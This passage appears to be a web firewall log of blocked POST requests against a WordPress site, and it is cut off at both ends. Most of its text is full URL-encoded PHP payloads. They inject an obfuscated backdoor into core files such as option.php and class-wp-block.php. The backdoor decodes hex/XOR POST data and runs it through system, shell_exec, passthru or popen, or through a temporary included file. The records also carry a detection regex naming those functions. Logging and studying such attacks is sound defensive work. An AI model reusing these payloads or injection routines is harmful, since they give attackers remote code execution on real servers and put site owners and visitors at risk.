ists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5359\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:46:03","190.92.169.79","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-user:?1\n\njW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:07","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ta:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-user:?1\n\nTa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:25","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522fa%255Cx63%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524holder%2520%253D%2520hex2bin%2528%2524_POST%255B%2522fa%255Cx63%2522%255D%2529%253B%2520%2524ent%2520%253D%2520%2527%2527%253B%2520%2524x%2520%253D%25200%253B%2520do%257B%2524ent%2520.%253D%2520chr%2528ord%2528%2524holder%255B%2524x%255D%2529%2520%255E%252086%2529%253B%2524x%252B%252B%253B%257D%2520while%2528%2524x%2520%253C%2520strlen%2528%2524holder%2529%2529%253B%2520foreach%2520%2528%2524key%2520as%2520%2524elem%2529%253A%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524elem%2529%252C%2520is_writable%2528%2524elem%2529%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524record%252C%2520%2524ent%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524record%253B%2520unlink%2528%2524record%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 